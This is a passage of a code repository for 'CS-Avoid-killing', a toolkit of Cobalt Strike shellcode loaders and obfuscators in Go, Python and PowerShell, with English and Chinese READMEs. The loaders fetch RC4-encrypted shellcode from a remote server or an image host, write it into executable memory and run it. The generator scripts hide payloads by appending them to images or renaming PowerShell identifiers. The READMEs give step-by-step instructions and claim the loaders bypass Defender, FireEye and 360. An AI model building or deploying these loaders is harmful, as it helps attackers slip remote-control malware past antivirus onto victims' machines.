b64.StdEncoding.DecodeString(raw) 66 | cipher, _ := rc4.NewCipher(rc4Key) 67 | cipher.XORKeyStream(sDec, sDec) 68 | sDec = []byte(sDec) 69 | sDec, _ = b64.StdEncoding.DecodeString(string(sDec[:])) 70 | 71 | addr, _, err := VirtualAlloc.Call(0, uintptr(len(sDec)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) 72 | if err != nil && err.Error() != "The operation completed successfully." { 73 | syscall.Exit(0) 74 | } 75 | _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&sDec[0])), uintptr(len(sDec))) 76 | if err != nil && err.Error() != "The operation completed successfully." { 77 | syscall.Exit(0) 78 | } 79 | syscall.Syscall(addr, 0, 0, 0, 0) 80 | } 81 | -------------------------------------------------------------------------------- /Go_version/generator.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | ''' 4 | Descripttion: 5 | Author: yumu 6 | Email: 2@33.al 7 | Date: 2021-01-14 13:55:31 8 | LastEditors: yumu 9 | LastEditTime: 2021-01-15 14:37:16 10 | ''' 11 | """ 12 | Author: Gality 13 | Name:generator.py 14 | Usage: python generator.py RC4key imgName 15 | require: None 16 | Description: Generate encrypted shellcode(shellcode -> base64 -> RC4 -> base64 -> append to img) 17 | E-mail: gality365@gmail.com 18 | """ 19 | import hashlib, base64, sys, os 20 | 21 | ''' 22 | config your shellcode 23 | ''' 24 | shellcode = "...Input your shellcode here..." 25 | 26 | def rc4(text, key): 27 | # Use md5(key) to get 32-bit key instead raw key 28 | key = hashlib.md5(key).hexdigest() 29 | result = '' 30 | key_len = len(key) 31 | #1. init S-box 32 | box = list(range(256))#put 0-255 into S-box 33 | j = 0 34 | for i in range(256):#shuffle elements in S-box according to key 35 | j = (j + box[i] + ord(key[i%key_len]))%256 36 | box[i],box[j] = box[j],box[i]#swap elements 37 | i = j = 0 38 | for element in text: 39 | i = (i+1)%256 40 | j = (j+box[i])%256 41 | box[i],box[j] = box[j],box[i] 42 | k = chr(ord(element) ^ box[(box[i]+box[j])%256]) 43 | result += k 44 | result = base64.b64encode(result) 45 | return result 46 | 47 | def main(): 48 | if len(sys.argv) != 3: 49 | print("Usage: python generator.py YourRC4Key imgName") 50 | exit(0) 51 | else: 52 | key = sys.argv[1] 53 | imgName = sys.argv[2] 54 | if(not os.path.exists(imgName) or os.path.getsize(imgName)<=200): 55 | print("check your img param!") 56 | exit(0) 57 | 58 | 59 | #base64encode 60 | baseStr = base64.b64encode(shellcode) 61 | #RC4 + base64encode 62 | payload = rc4(baseStr, key) 63 | 64 | with open(imgName, 'rb') as f: 65 | img = f.read() 66 | fileend = img[-2:] 67 | if(ord(fileend[0])!=255 and ord(fileend[0])!=217): 68 | if(img.count(chr(255)+chr(217))>0):# 不以ffd9结尾,但是内容中包含有ffd9,说明图片有误 或者已经在ffd9后追加过内容了 69 | print("Please change the img.") 70 | exit(0) 71 | else: 72 | payload = img + chr(255)+chr(217) + payload 73 | print("Abnormal end of file, auto add \xff\xd9") 74 | else: 75 | payload = img + payload 76 | with open("shellcode_"+imgName,'wb') as f1: 77 | f1.write(payload) 78 | print("Payload has write to shellcode_"+imgName) 79 | 80 | if __name__ == "__main__": 81 | main() 82 | 83 | -------------------------------------------------------------------------------- /Powershell_version/PSconfusion.py: -------------------------------------------------------------------------------- 1 | import random 2 | import sys 3 | import re 4 | import base64 5 | 6 | def randomName(): 7 | str = "" 8 | for lenth in range(random.randint(1, 5)): 9 | str += random.choice('abcdefghijklmnopqrstuvwxyzQWERTYUIOPASDFGHJKLZXCVBNM') 10 | return str 11 | 12 | def confusion(payload): 13 | AVpayload = payload 14 | shellcode = '[Byte[]](' 15 | 16 | VarFuncNamePattern = r'function [\w_]+' 17 | VarBase64Pattern = r"FromBase64String\('.+'\)" 18 | VarPattern = r"\$[\w_]{2,}" 19 | 20 | VarFuncName = re.findall(VarFuncNamePattern, payload) 21 | VarBase64 = re.findall(VarBase64Pattern, payload)[0] 22 | Vars = list(set(re.findall(VarPattern, payload))) 23 | Vars.remove('$True') 24 | Vars.remove('$false') 25 | Vars.remove('$null') 26 | 27 | # 随机混淆 28 | for Name in VarFuncName: 29 | AVpayload = re.sub(Name[9:], randomName(), AVpayload) 30 | for Var in Vars: 31 | AVpayload = re.sub(Var[1:], randomName(), AVpayload) 32 | for i in base64.b64decode(VarBase64[18:-2]): 33 | shellcode += str(i) + ',' 34 | shellcode = shellcode[:-1] + ')' 35 | AVpayload = re.sub(r"\[System.Convert\]::FromBase64String\('.+'\)", shellcode, AVpayload) 36 | AVpayload = re.sub(r"'Invoke'", r"'Invo'+'ke'", AVpayload) 37 | AVpayload = re.sub(r"IEX", r"I`eX", AVpayload) 38 | 39 | return AVpayload 40 | 41 | 42 | if __name__ == "__main__": 43 | try: 44 | f = open(sys.argv[1],'r') 45 | p = open(sys.argv[2],'w') 46 | except: 47 | print("Usage: python3 PSconfusion.py RawCSpayload.ps1 ConfusionPayload.ps1") 48 | payload = f.read() 49 | p.write(confusion(payload)) 50 | f.close() 51 | p.close() 52 | -------------------------------------------------------------------------------- /Python2_version/PyLoader.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Author: Gality 6 | Name:PyLoader.py 7 | Usage: python pyinstaller.py -F -w PyLoader.py 8 | require: requests, pyinstaller 9 | Description: 将py文件打包成exe文件,一方面使得程序可以在无py环境下运行,二是进一步消除特征 10 | E-mail: gality365@gmail.com 11 | """ 12 | 13 | import hashlib, base64 14 | import requests 15 | from ctypes import * 16 | import random 17 | ''' 18 | config 19 | ''' 20 | key = '... YourRC4Key...' 21 | PayloadFileLocation = '...http://........../payload.txt...' 22 | 23 | 24 | def rc4(text, key): 25 | key = hashlib.md5(key).hexdigest() 26 | text = base64.b64decode(text) 27 | result = '' 28 | key_len = len(key) 29 | box = list(range(256)) 30 | j = 0 31 | for i in range(256): 32 | j = (j + box[i] + ord(key[i%key_len]))%256 33 | box[i],box[j] = box[j],box[i] 34 | i = j = 0 35 | for element in text: 36 | i = (i+1)%256 37 | j = (j+box[i])%256 38 | box[i],box[j] = box[j],box[i] 39 | k = chr(ord(element) ^ box[(box[i]+box[j])%256]) 40 | result += k 41 | return result 42 | 43 | useless = str(random.random()) 44 | r = requests.get(PayloadFileLocation) 45 | code = rc4(r.content, key) 46 | useless += str(random.random()) 47 | code = bytearray(base64.b64decode(code)) 48 | 49 | VirtualAlloc = windll.kernel32.VirtualAlloc 50 | VirtualProtect = windll.kernel32.VirtualProtect 51 | useless += random.choice(useless) 52 | whnd = windll.kernel32.GetConsoleWindow() 53 | RtlMoveMemory = windll.kernel32.RtlMoveMemory 54 | memHscode = VirtualAlloc(c_int(0), c_int(len(code)), c_int(0x3000), c_int(0x40)) 55 | buf = (c_char * len(code)).from_buffer(code) 56 | useless += random.choice(useless)[:-1] 57 | RtlMoveMemory(c_int(memHscode), buf, c_int(len(code))) 58 | runcode = cast(memHscode, CFUNCTYPE(c_void_p)) 59 | runcode() 60 | 61 | -------------------------------------------------------------------------------- /Python2_version/generator.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Author: Gality 6 | Name:generator.py 7 | Usage: python generator.py RC4key 8 | require: None 9 | Description: Generate encrypted shellcode(shellcode -> base64 -> RC4 -> base64) 10 | E-mail: gality365@gmail.com 11 | """ 12 | import hashlib, base64, sys 13 | 14 | ''' 15 | config your shellcode 16 | ''' 17 | shellcode = "...Input your shellcode here..." 18 | 19 | 20 | def rc4(text, key): 21 | # Use md5(key) to get 32-bit key instead raw key 22 | key = hashlib.md5(key).hexdigest() 23 | result = '' 24 | key_len = len(key) 25 | #1. init S-box 26 | box = list(range(256))#put 0-255 into S-box 27 | j = 0 28 | for i in range(256):#shuffle elements in S-box according to key 29 | j = (j + box[i] + ord(key[i%key_len]))%256 30 | box[i],box[j] = box[j],box[i]#swap elements 31 | i = j = 0 32 | for element in text: 33 | i = (i+1)%256 34 | j = (j+box[i])%256 35 | box[i],box[j] = box[j],box[i] 36 | k = chr(ord(element) ^ box[(box[i]+box[j])%256]) 37 | result += k 38 | result = base64.b64encode(result) 39 | return result 40 | 41 | def main(): 42 | if len(sys.argv) != 2: 43 | print "Usage: python generator.py YourRC4Key" 44 | exit(0) 45 | else: 46 | key = sys.argv[1] 47 | 48 | 49 | #base64encode 50 | baseStr = base64.b64encode(shellcode) 51 | #RC4 + base64encode 52 | payload = rc4(baseStr, key) 53 | 54 | f = open('payload.txt', 'w') 55 | f.write(payload) 56 | f.close() 57 | print "Payload has been written to payload.txt!" 58 | 59 | if __name__ == "__main__": 60 | main() 61 | 62 | -------------------------------------------------------------------------------- /Python3_version/PyLoader.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Author: Gality; KingSF5 6 | Name:PyLoader.py 7 | Usage: python pyinstaller.py -F -w PyLoader.py 8 | require: requests, pyinstaller 9 | Description: 将py文件打包成exe文件,一方面使得程序可以在无py环境下运行,二是进一步消除特征 10 | E-mail: gality365@gmail.com 11 | """ 12 | 13 | import hashlib, base64 14 | import requests 15 | from ctypes import * 16 | import random 17 | ''' 18 | config 19 | ''' 20 | key = '... YourRC4Key...' 21 | PayloadFileLocation = '...http://........../payload.txt...' 22 | 23 | 24 | def rc4(text, key): 25 | key = hashlib.md5(key).hexdigest() 26 | text = base64.b64decode(text) 27 | result = '' 28 | key_len = len(key) 29 | box = list(range(256)) 30 | j = 0 31 | for i in range(256): 32 | j = (j + box[i] + ord(key[i%key_len]))%256 33 | box[i],box[j] = box[j],box[i] 34 | i = j = 0 35 | for element in text: 36 | i = (i+1)%256 37 | j = (j+box[i])%256 38 | box[i],box[j] = box[j],box[i] 39 | k = chr(element ^ box[(box[i]+box[j])%256]) 40 | result += k 41 | return result 42 | 43 | useless = str(random.random()) 44 | r = requests.get(PayloadFileLocation) 45 | code = rc4(r.content, key.encode("utf-8")) 46 | useless += str(random.random()) 47 | code = bytearray(base64.b64decode(code)) 48 | 49 | ''' 50 | 修复ctypes问题 51 | ''' 52 | windll.kernel32.VirtualAlloc.restype = c_void_p 53 | windll.kernel32.RtlCopyMemory.argtypes = (c_void_p, c_void_p, c_size_t) 54 | 55 | VirtualAlloc = windll.kernel32.VirtualAlloc 56 | VirtualProtect = windll.kernel32.VirtualProtect 57 | useless += random.choice(useless) 58 | whnd = windll.kernel32.GetConsoleWindow() 59 | RtlMoveMemory = windll.kernel32.RtlMoveMemory 60 | memHscode = VirtualAlloc(c_int(0), c_int(len(code)), c_int(0x3000), c_int(0x40)) 61 | buf = (c_char * len(code)).from_buffer(code) 62 | useless += random.choice(useless)[:-1] 63 | RtlMoveMemory(c_void_p(memHscode), buf, c_int(len(code))) 64 | runcode = cast(memHscode, CFUNCTYPE(c_void_p)) 65 | runcode() -------------------------------------------------------------------------------- /Python3_version/generator.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Author: Gality; KingSF5 6 | Name:generator.py 7 | Usage: python generator.py RC4key 8 | require: None 9 | Description: Generate encrypted shellcode(shellcode -> base64 -> RC4 -> base64) 10 | E-mail: gality365@gmail.com 11 | """ 12 | import hashlib, base64, sys 13 | 14 | ''' 15 | config your shellcode 16 | ''' 17 | shellcode = "...Input your shellcode here..." 18 | 19 | 20 | def rc4(text, key): 21 | # Use md5(key) to get 32-bit key instead raw key 22 | key = hashlib.md5(key).hexdigest() 23 | result = '' 24 | key_len = len(key) 25 | #1. init S-box 26 | box = list(range(256))#put 0-255 into S-box 27 | j = 0 28 | for i in range(256):#shuffle elements in S-box according to key 29 | j = (j + box[i] + ord(key[i%key_len]))%256 30 | box[i],box[j] = box[j],box[i]#swap elements 31 | i = j = 0 32 | for element in text: 33 | i = (i+1)%256 34 | j = (j+box[i])%256 35 | box[i],box[j] = box[j],box[i] 36 | k = chr(element ^ box[(box[i]+box[j])%256]) 37 | result += k 38 | result = base64.b64encode(bytes(result, encoding="utf8")) 39 | return result 40 | 41 | def main(): 42 | if len(sys.argv) != 2: 43 | print("Usage: python generator.py YourRC4Key") 44 | exit(0) 45 | else: 46 | key = sys.argv[1].encode("utf-8") 47 | 48 | 49 | #base64encode 50 | baseStr = base64.b64encode(shellcode) 51 | #RC4 + base64encode 52 | payload = rc4(baseStr, key) 53 | 54 | f = open('payload.txt', 'w') 55 | f.write(payload.decode("utf-8")) 56 | f.close() 57 | print("Payload has been written to payload.txt!") 58 | 59 | if __name__ == "__main__": 60 | main() -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CS-Avoid-killing 2 | [Chinese README](https://github.com/Gality369/CS-Loader/blob/master/README_Chinese.md) 3 | 4 | Overall, malware identification through the application's binary feature strings is still the most commonly used static analysis by antivirus software, while dynamic analysis (sandboxing, virtual machines, etc.) can be bypassed by anti-debugging, anti-sandboxing, and other techniques, so minimizing the binary features of a malicious program is still an important means of avoiding detection and killing. 5 | 6 | CS evasion, including both Python and C versions (Tested: Python packaged version has bugs on Windows 10, not working, but works fine on Windows 7) 7 | 8 | In addition to using a specific language to obfuscate binary features, it is also possible to implement a generic obfuscator to obfuscate arbitrary programs at the binary level. The generic obfuscator implemented in this project is an LLVM-17 based obfuscator that takes advantage of LLVM's new pass implementation plug-in feature to enable code obfuscation for multiple languages and platforms. 9 | 10 | - V4.0: A general-purpose code obfuscator has been implemented, which can obfuscate the binary of any program with the help of LLVM, and is theoretically a general-purpose method to fight against antivirus static scanning. The Generic_obfuscator is a rewrite of obfuscator ref: https://github.com/obfuscator-llvm/obfuscator 11 | 12 | - V3.1 Added Go version (can bypass FireEye/360/Defender). 13 | 14 | - V3.0: Attempting to integrate more evasion techniques (planning to research process injection/file bundling to see how well they evade protection). 15 | 16 | - V2.0: Developed an online evasion platform (Completed) 17 | 18 | > PS: In practical use, I found that a graphical interface is not ideal for integration with other tools, while command-line interfaces are more flexible and extensible. 19 | > 20 | > Regarding my online evasion platform, I don't plan to open-source it at this time because the technology is still in its early stages. If anyone is interested in trying it out, feel free to contact me. 21 | 22 | - ~~V2.0: Develop a graphical user interface~~ 23 | 24 | - V1.7: Added PowerShell evasion (Completed) 25 | 26 | 27 | - V1.5: Added C version of CS evasion (Completed) 28 | 29 | - V1.0: Currently, it can bypass Defender/FireEye's static and dynamic protection. 360 hasn't been tested yet. I don't want to install the full 360 suite, but you can test it yourself. 30 | 31 | ## Dependencies 32 | 33 | Generic Obfuscator: 34 | 35 | - llvm-17: 36 | ``` 37 | git clone --depth 1 -b release/17.x https://github.com/llvm/llvm-project.git 38 | mkdir build 39 | cmake -G Ninja -DLLVM_ENABLE_PROJECTS="clang;lld" -DLLVM_TARGETS_TO_BUILD="X86;ARM;AArch64" -DCMAKE_BUILD_TYPE=Release -DLLVM_INCLUDE_TESTS=OFF -DLLVM_ENABLE_RTTI=ON -DLLVM_OBFUSCATION_LINK_INTO_TOOLS= 40 | ON -DCMAKE_INSTALL_PREFIX=./build/ ../llvm-project/llvm 41 | ninja -j8 42 | ninja install 43 | ``` 44 | 45 | Python: 46 | 47 | - Python 2 48 | - PyInstaller 49 | - Requests 50 | 51 | C: VS2019 should be sufficient 52 | 53 | PowerShell: Tested on Windows 10 (PS 5.1), lower versions haven't been tested. 54 | 55 | Go: Go 56 | 57 | ## Installation 58 | 59 | Other versions are portable to use, just clone the project. 60 | `git clone https://github.com/Gality369/CS-Avoid-killing.git` 61 | 62 | Howerver, Generic_bfuscator need additionally installation: 63 | ``` 64 | cd Generic Obfuscator 65 | mkdir build 66 | cd build 67 | cmake .. 68 | make -j `nproc` 69 | ``` 70 | 71 | ## Usage 72 | 1. First, generate a C-format shellcode through CS: 73 | `Attacks -> Packages -> Payload Generator` 74 | Choose a listener and generate a C shellcode (essentially binary code). 75 | 76 | 2. Python version: 77 | 78 | > 1. Paste the generated shellcode into the shellcode variable in generator.py and provide a Key for RC4 encryption. 79 | > 2. Run generator.py, the generated payload will be saved in payload.txt. 80 | > 3. Upload payload.txt to your VPS. The loader will fetch the encrypted shellcode from the VPS and decrypt it locally for execution. 81 | > 4. In PyLoader.py, fill in the path to the payload on your VPS and the Key you just set. 82 | > 5. Package the file using `python pyinstaller.py -F -w PyLoader.py`. The executable will be in the dist folder inside the pyshellcode directory. Double-click to run and the host will go online. 83 | 84 | 3. C version: 85 | 86 | > 1. Input your own Key, shellcode length, and shellcode as required, then execute. 87 | > 2. Copy the first line's number into the Base64ShellLen field in Loader, save the generated encrypted shellcode in payload.txt, and place it on the server. If the filename or path is different, modify the path in `char request[1024] = "GET /RC4Payload32.txt HTTP/1.1\r\nHost:";` accordingly. 88 | > 3. In path, fill in the path to access the payload (e.g., /test/payload.txt). 89 | > 4. Fill in your Key and VPS IP in Loader, then compile. 90 | > 5. Run the compiled .exe to bring up the CS shell. 91 | 92 | 4. PowerShell version: 93 | 94 | > 1. Generate a PowerShell payload .ps1 in CS. 95 | > 2. Run Python3 PSconfusion.py payload.ps1 AVpayload.ps1. 96 | > 3. This version can bypass all static detections from current antivirus software. For dynamic detections, some CS modules may trigger detection when loading, and that will be explored further later. 97 | 98 | 5. Go version: 99 | 100 | > 1. Place a not-too-large image in the same folder. 101 | > 2. Paste the generated shellcode into the shellcode variable in generator.py, and execute `python generator YourRC4key ImageName`. The shellcode will be appended to the end of the image. 102 | > 3. Upload the image to an image hosting service (choose one that does not compress images to ensure the shellcode remains intact). 103 | > 4. Enter the image URL and your RC4 key into the corresponding fields in CS-Loader.go. 104 | > 5. Build the .exe using the command `go build -ldflags="-H windowsgui" CS-Loader.go` (you can compress it with UPX). 105 | > 6. Run the .exe and the CS shell will be active. 106 | 107 | 6. Generic Obfuscator Version: 108 | 109 | > 1. set `config/config.json` to enable different functions. (Please check `Generic_obfuscator/README.md` to get more information.) 110 | > 2. run ` -fpass-plugin=` 111 | 112 | ## Notes 113 | 114 | 1. PyInstaller Installation Details: 115 | 116 | > The last version of PyInstaller that supports Python 2 is 3.6 (newer versions no longer support Python 2). 117 | > 118 | > Website: https://github.com/pyinstaller/pyinstaller/releases 119 | > 120 | > You also need to install pywin32: https://github.com/mhammond/pywin32 121 | 122 | 2. Package in the target environment to avoid issues with different systems. Avoid using Python 3 for this project due to poor support for ctypes in Python 3, which can cause random bugs. 123 | Thanks to KingSF5 for fixing the Python 3 version (greatly appreciated~). 124 | 125 | 3. C version testing: 126 | The C version works fine under X86Debug mode. In Release mode, there are unexplained bugs, and it may not work properly on some machines. Please test according to your needs. 127 | 128 | 4. Do not select dynamic compilation, as it may cause the program to fail to run due to missing DLLs on the target machine. 129 | 130 | 5. The method of loading PowerShell scripts is not discussed here, but some experts have already documented it well. Please search for it on Baidu. 131 | 132 | 6. Before building the Go version, it is recommended to run `set GOARCH=amd64` and use a 64-bit shellcode. A 32-bit build may lead to errors related to missing functions in ntdll.dll, as reported by others: 133 | https://stackoverflow.com/questions/58649055/failed-to-find-rtlcopymemory-procedure-in-ntdll-dll-only-when-goarch-386 134 | 135 | 7. For a detailed description of Generic Obfuscator, please refer to `Generic_obfuscator/README.md`, which provides a detailed description of the obfuscator and how to use it. -------------------------------------------------------------------------------- /README_Chinese.md: -------------------------------------------------------------------------------- 1 | # CS-Avoid-killing 2 | 总的来说,通过应用程序的二进制特征字符串来进行恶意软件的识别仍然是杀软最常使用的静态分析方式,而动态分析(沙箱、虚拟机等)的查杀可以通过反调试、反沙箱等技术绕过,所以尽量减少恶意程序的二进制特征仍是避免被查杀的重要手段。 3 | 4 | CS免杀,包括python版和C版本的(经测试Python打包的方式在win10上存在bug,无法运行,Win7测试无异常) 5 | 6 | 除了使用特定语言来混淆二进制特征外,也可以实现一个通用的混淆器来对任意程序实现二进制层面的混淆。本项目实现的通用混淆器是一款基于 LLVM-17 的混淆器,它利用 LLVM 的新的pass实现插件功能,可以实现对多种语言和平台的代码混淆。 7 | 8 | - V4.0: 实现了一个通用的代码混淆器,借助LLVM可以实现对任意程序的二进制的混淆,理论来说是一种对抗杀软静态扫描的通用方法。该混淆器是在obfuscator的基础上进行重写的,参考:https://github.com/obfuscator-llvm/obfuscator 9 | 10 | - V3.1: 增加了go版本(可过火绒/360/defender) 11 | 12 | - V3.0: 想办法结合更多免杀技术(想去研究下进程注入/文件捆绑,不知道免杀效果怎样) 13 | 14 | - V2.0: 开发成在线免杀平台(已完成) 15 | 16 | > PS: 在实际使用中发现图形化界面不利于和其他工具结合,相比之下命令行的方式更具有扩展性 17 | > 18 | > 关于自己写的在线免杀平台,暂不考虑开源,主要是觉得目前的技术还比较薄弱,如果有师傅想体验可以联系我 19 | 20 | - ~~V2.0:开发出UI界面~~ 21 | 22 | - V1.7:加入Powershell的免杀(已完成) 23 | 24 | - V1.5: 加入C版本CS免杀(已完成) 25 | 26 | - V1.0: 目前测试可以过Defender/火绒的静杀+动杀,360还没测= =不想装360全家桶了,可以自行测试 27 | 28 | 29 | ## 依赖环境 30 | 31 | Generic Obfuscator: 32 | 33 | - 使用下列命令安装llvm-17: 34 | ``` 35 | git clone --depth 1 -b release/17.x https://github.com/llvm/llvm-project.git 36 | mkdir build 37 | cmake -G Ninja -DLLVM_ENABLE_PROJECTS="clang;lld" -DLLVM_TARGETS_TO_BUILD="X86;ARM;AArch64" -DCMAKE_BUILD_TYPE=Release -DLLVM_INCLUDE_TESTS=OFF -DLLVM_ENABLE_RTTI=ON -DLLVM_OBFUSCATION_LINK_INTO_TOOLS= 38 | ON -DCMAKE_INSTALL_PREFIX=./build/ ../llvm-project/llvm 39 | ninja -j8 40 | ninja install 41 | ``` 42 | 43 | Python: 44 | 45 | - python2 46 | - pyinstaller 47 | - requests 48 | 49 | C: VS2019默认就够了 50 | 51 | Powershell: Win10上测试没有问题,也就是ps5.1,更低版本未测试 52 | 53 | Go: go 54 | 55 | ## 安装 56 | 57 | 其他版本是便携使用的,只需要克隆项目即可。 58 | `git clone https://github.com/Gality369/CS-Avoid-killing.git` 59 | 60 | Generic Obfuscator需要额外的安装: 61 | ``` 62 | cd Generic_obfuscator 63 | mkdir build 64 | cd build 65 | cmake .. 66 | make -j `nproc` 67 | ``` 68 | 69 | ## 使用 70 | 71 | 1. 先通过CS生成C格式的shellcode:` Attacks -> packages -> Payload Generator `选择一个listener然后生成一个C的shellcode(其实就是二进制代码) 72 | 73 | 2. Python版: 74 | 75 | > 1. 将生成的shellcode填入generator.py的shellcode变量中,填入一个Key,用于后续的RC4加密 76 | > 2. 运行generator.py,生成的payload自动保存在payload.txt中. 77 | > 3. 将payload.txt上传到你的VPS中,后续生成的加载器会从VPS中获取加密shellcode并在本地解密后执行 78 | > 4. 将在VPS上的payload路径填入PyLoader.py的url变量中,填入你刚刚设置的Key 79 | > 5. 用`python pyinstaller.py -F -w PyLoader.py`打包文件,可执行文件在pyshellcode文件夹下的dist中,双击运行可以看到主机上线 80 | 81 | 3. C版本: 82 | 83 | > 1. 按要求填入你自己的Key,shellcdoe长度和shellcode,执行 84 | > 2. 将第一行的数字复制进Loader的Base64ShellLen字段中,将第二行生成的加密shellcode保存在payload.txt文件中并将其放在服务器上(~~如果不叫这名或者不在跟路径,需要自己改`char request[1024] = "GET /RC4Payload32.txt HTTP/1.1\r\nHost:";`中的路径) 85 | > 在path中填入可以访问到payload的路径即可(Ex: /test/payload.txt) 86 | > 3. 在Loader中填入自己的Key和VPS的IP,编译 87 | > 4. 执行编译出的exe,CS上线 88 | 89 | 4. Powershell版本: 90 | 91 | > 1. 在CS中生成Powershell版本的payload.ps1 92 | > 2. Python3 PSconfusion.py payload.ps1 AVpayload.ps1 93 | > 3. 经测试能过目前所有杀软的静杀,动杀的话,由于CS中有些模块不免杀,所以加载这些模块时可能会触发动杀,这个以后再研究怎么绕过 94 | 95 | 5. go版本: 96 | 97 | > 1. 将一张不要太大的图片放入同一文件夹下 98 | > 2. 将生成的shellcode填入generator.py的shellcode变量中, 执行`python generator YourRC4key ImageName` ,生成的shellcode会自动追加到图片末尾 99 | > 3. 将图片上传至图床(找那种不会压缩的图床,保证shellcode不会被删掉) 100 | > 4. 将图片url和你的RC4key填入CS-Loader.go的相应位置 101 | > 5. 使用命令`go build -ldflags="-H windowsgui" CS-Loader.go`生成exe,可以用upx压缩下 102 | > 6. 执行exe,CS上线 103 | 104 | 6. 通用混淆器版本: 105 | 106 | > 1. 设置配置文件(`config/config.json`)来使能不同的混淆功能和基本配置 107 | > 2. 执行` -fpass-plugin=` 108 | 109 | ## 注意 110 | 111 | 1. pyinstaller安装细节 112 | 113 | > 最后一个支持python2的版本是3.6(最新版pyinstall不再支持python2) 114 | > 115 | > 网址:https://github.com/pyinstaller/pyinstaller/releases 116 | > 117 | > 需要安装pywin32:https://github.com/mhammond/pywin32 118 | 119 | 2. ~~目标是什么环境就在什么环境上打包,否则可能会出现无法上线的情况,不推荐使用py3对项目进行改造,ctypes对py3的支持不太好,会有些莫名其妙的bug~~ 120 | 感谢KingSF5师傅对python3版本的修复(崇拜~) 121 | 122 | 3. 经过测试,C版本在X86Debug模式编译下无任何问题,Release模式下会存在莫名bug,在某些电脑上无法正常上线,请根据需求自行测试 123 | 124 | 4. 编译选项不要选择动态编译,否则可能会因为目标靶机上缺少相应dll而无法运行. 125 | 126 | 5. 加载ps脚本的方式这里不做讨论,有师傅已经总结的非常好了,请自行百度 127 | 128 | 6. go版本build前建议先`set GOARCH=amd64`,同时使用64位的shellcode,32位打包出来的程序会报一个在ntdll中找不到函数的错误,曾有人提问过:https://stackoverflow.com/questions/58649055/failed-to-find-rtlcopymemory-procedure-in-ntdll-dll-only-when-goarch-386 129 | 130 | 7. 有关Generic Obfuscator的详细说明请参考`Generic_obfuscator/README.md`, 这里提供了对该混淆器的详细说明和使用方法。 --------------------------------------------------------------------------------